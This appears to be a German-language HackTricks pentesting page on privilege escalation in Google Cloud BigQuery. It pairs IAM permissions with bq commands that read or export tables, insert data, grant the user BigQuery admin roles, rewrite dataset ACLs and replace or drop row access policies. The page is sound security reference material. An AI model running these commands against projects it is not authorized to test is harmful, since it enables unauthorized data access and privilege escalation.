GCP - BigQuery Privesc

Support HackTricks

BigQuery

Für weitere Informationen zu BigQuery siehe:

GCP - Bigquery Enum

Tabelle lesen

Durch das Lesen der Informationen, die in einer BigQuery-Tabelle gespeichert sind, könnte es möglich sein, sensible Informationen zu finden. Um auf die Informationen zuzugreifen, sind die benötigten Berechtigungen bigquery.tables.get, bigquery.jobs.create und bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Daten exportieren

Dies ist eine weitere Möglichkeit, auf die Daten zuzugreifen. Exportieren Sie sie in einen Cloud-Speicher-Bucket und laden Sie die Dateien mit den Informationen herunter. Um diese Aktion durchzuführen, sind die folgenden Berechtigungen erforderlich: bigquery.tables.export, bigquery.jobs.create und storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Daten einfügen

Es könnte möglich sein, bestimmte vertrauenswürdige Daten in eine Bigquery-Tabelle einzufügen, um eine Schwachstelle an anderer Stelle auszunutzen. Dies kann einfach mit den Berechtigungen bigquery.tables.get, bigquery.tables.updateData und bigquery.jobs.create durchgeführt werden:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Ein Angreifer könnte dieses Privileg missbrauchen, um sich selbst weitere Berechtigungen über ein BigQuery-Dataset zu gewähren:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Nur diese Berechtigung ermöglicht es, Ihren Zugriff auf ein BigQuery-Dataset zu aktualisieren, indem die ACLs geändert werden, die angeben, wer darauf zugreifen kann:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Ein Angreifer könnte dieses Privileg missbrauchen, um sich selbst weitere Berechtigungen über eine BigQuery-Tabelle zu geben:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Laut den Dokumenten ist es mit den genannten Berechtigungen möglich, eine Zeilenrichtlinie zu aktualisieren. Allerdings benötigst du zusätzlich zur CLI bq noch einige weitere: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Es ist möglich, die Filter-ID in der Ausgabe der Zeilenrichtlinienenumeration zu finden. Beispiel:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Wenn Sie bigquery.rowAccessPolicies.delete anstelle von bigquery.rowAccessPolicies.update haben, könnten Sie auch einfach die Richtlinie löschen:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Eine weitere potenzielle Option, um Zeilenzugriffsrichtlinien zu umgehen, wäre, einfach den Wert der eingeschränkten Daten zu ändern. Wenn Sie nur sehen können, wenn term Cfba ist, ändern Sie einfach alle Datensätze der Tabelle so, dass term = "Cfba" ist. Dies wird jedoch von BigQuery verhindert.

Unterstützen Sie HackTricks

Last updated